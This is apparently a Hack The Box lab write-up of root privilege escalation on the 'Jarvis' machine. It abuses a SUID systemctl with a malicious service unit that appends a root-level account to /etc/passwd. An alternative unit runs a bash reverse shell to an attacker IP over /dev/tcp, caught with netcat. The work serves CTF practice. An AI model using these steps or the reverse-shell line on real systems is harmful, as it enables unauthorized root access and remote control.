root@kali:~/htb/jarvis# ssh-keygen Generating public/private rsa key pair. Enter file in which to save the key (/root/.ssh/id_rsa): ./jarvis_rsa Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in ./jarvis_rsa. Your public key has been saved in ./jarvis_rsa.pub. The key fingerprint is: SHA256:cpFcuepmUeVN83IFzhKMDvuWZ4l9zYxIV8u5vdGIy6s root@kali The key's randomart image is: +---[RSA 2048]----+ | .+. .. | | ..oo o+o o| | ++ +.o+++| | ..+ o.++o| | . S+ = = O+| | oo = B +o*| | . o + o o| | + o . | | o E... | +----[SHA256]-----+ root@kali:~/htb/jarvis# ssh -i jarvis_rsa pepper@10.10.10.143 The authenticity of host '10.10.10.143 (10.10.10.143)' can't be established. ECDSA key fingerprint is SHA256:oPoKu2vmqVfC1e3TJJ5ZB8yL/2/W2YIrglCm8FTTuSs. Are you sure you want to continue connecting (yes/no)? yes Warning: Permanently added '10.10.10.143' (ECDSA) to the list of known hosts. Linux jarvis 4.9.0-8-amd64 #1 SMP Debian 4.9.144-3.1 (2019-02-19) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Tue Mar 5 10:23:48 2019 from 172.16.204.1 pepper@jarvis:~$
Systemctl: suid –> Root Shell –> Root Flag
When I checked the suid
binaries I saw systemctl
:
pepper@jarvis:~$ find / -perm -4000 2>/dev/null
/bin/fusermount
/bin/mount
/bin/ping
/bin/systemctl
/bin/umount
/bin/su
/usr/bin/newgrp
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/chsh
/usr/bin/sudo
/usr/bin/chfn
/usr/lib/eject/dmcrypt-get-device
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
pepper@jarvis:~$
systemctl may be used to introspect and control the state of the “systemd” system and service manager. –man7.org
To verify that it can be abused I checked gtfobins and found a page for it.
We need to create a service that executes a file of our choice when it starts, then we’ll use systemctl
to enable and start it and the file will get executed as root.
I created a service that executes /dev/shm/root.sh
:
[Unit]
Description=pwned
[Service]
ExecStart=/dev/shm/root.sh
[Install]
WantedBy=multi-user.target
And I created /dev/shm/root.sh
which echoes:
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
to /etc/passwd
to enable us to su
as root with the credentials rooot : AAAA
. (Check Ghoul).
pepper@jarvis:/dev/shm$ nano root.service
pepper@jarvis:/dev/shm$ cat root.service
[Unit]
Description=pwned
[Service]
ExecStart=/dev/shm/root.sh
[Install]
WantedBy=multi-user.target
pepper@jarvis:/dev/shm$ nano root.sh
pepper@jarvis:/dev/shm$ chmod +x root.sh
pepper@jarvis:/dev/shm$ cat root.sh
#!/bin/bash
echo 'rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash' >> /etc/passwd
pepper@jarvis:/dev/shm$
I enabled the service and started it:
pepper@jarvis:/dev/shm$ systemctl enable /dev/shm/root.service
Created symlink /etc/systemd/system/multi-user.target.wants/root.service -> /dev/shm/root.service.
Created symlink /etc/systemd/system/root.service -> /dev/shm/root.service.
pepper@jarvis:/dev/shm$ systemctl start root.service
pepper@jarvis:/dev/shm$
Now if we check /etc/passwd
we’ll see that it has been modified:
pepper@jarvis:/dev/shm$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
_apt:x:104:65534::/nonexistent:/bin/false
messagebus:x:105:110::/var/run/dbus:/bin/false
pepper:x:1000:1000:,,,:/home/pepper:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
sshd:x:107:65534::/run/sshd:/usr/sbin/nologin
rooot:gDlPrjU6SWeKo:0:0:root:/root:/bin/bash
pepper@jarvis:/dev/shm$
pepper@jarvis:/dev/shm$ su rooot
Password: AAAA
root@jarvis:/dev/shm# id
uid=0(root) gid=0(root) groups=0(root)
root@jarvis:/dev/shm# whoami
root
root@jarvis:/dev/shm# cd /root/
root@jarvis:~# ls -al
total 52
drwx------ 6 root root 4096 Mar 5 2019 .
drwxr-xr-x 23 root root 4096 Mar 3 2019 ..
lrwxrwxrwx 1 root root 9 Mar 4 2019 .bash_history -> /dev/null
-rw-r--r-- 1 root root 570 Jan 31 2010 .bashrc
drwxr-xr-x 4 root root 4096 Mar 3 2019 .cache
-rwxr--r-- 1 root root 42 Mar 4 2019 clean.sh
drwxr-xr-x 3 root root 4096 Mar 3 2019 .config
drwxr-xr-x 3 root root 4096 Mar 3 2019 .local
lrwxrwxrwx 1 root root 9 Mar 4 2019 .mysql_history -> /dev/null
drwxr-xr-x 2 root root 4096 Mar 2 2019 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
lrwxrwxrwx 1 root root 9 Mar 4 2019 .python_history -> /dev/null
-r-------- 1 root root 33 Mar 5 2019 root.txt
-rw-r--r-- 1 root root 66 Mar 4 2019 .selected_editor
-rwxr-xr-x 1 root root 5271 Mar 5 2019 sqli_defender.py
root@jarvis:~#
And we owned root !
All credits to : https://0xrick.github.io/hack-the-box/jarvis/
Alternative service privesc way:
On /lib/systemd/system or /etc/systemd/system there’s no write permissions so participants will have to know how to create a service using the link option:
–> Link a unit file that is not in the unit file search paths into the unit file search path.
This command expects an absolute path to a unit file.
pepper@jarvis:~$ cat puck.sh bash -i >& /dev/tcp/10.10.16.70/8080 0>&1 pepper@jarvis:~$ systemctl link /home/pepper/evil2.service Created symlink /etc/systemd/system/evil2.service → /home/pepper/evil2.service. pepper@jarvis:~$ systemctl start evil2.service pepper@jarvis:~$ cat evil2.service [Unit] Description=Mal Daemon [Service] ExecStart=/home/pepper/puck.sh [Install] WantedBy=multi-user.target pepper@jarvis:~$
.
root@kali:~# nc -lvp 8080 listening on [any] 8080 ... 10.10.10.143: inverse host lookup failed: Unknown host connect to [10.10.16.70] from (UNKNOWN) [10.10.10.143] 38116 bash: cannot set terminal process group (16859): Inappropriate ioctl for device bash: no job control in this shell root@jarvis:/# id id uid=0(root) gid=0(root) groups=0(root) root@jarvis:/# cat /root/root.txt cat /root/root.txt d41*****271
.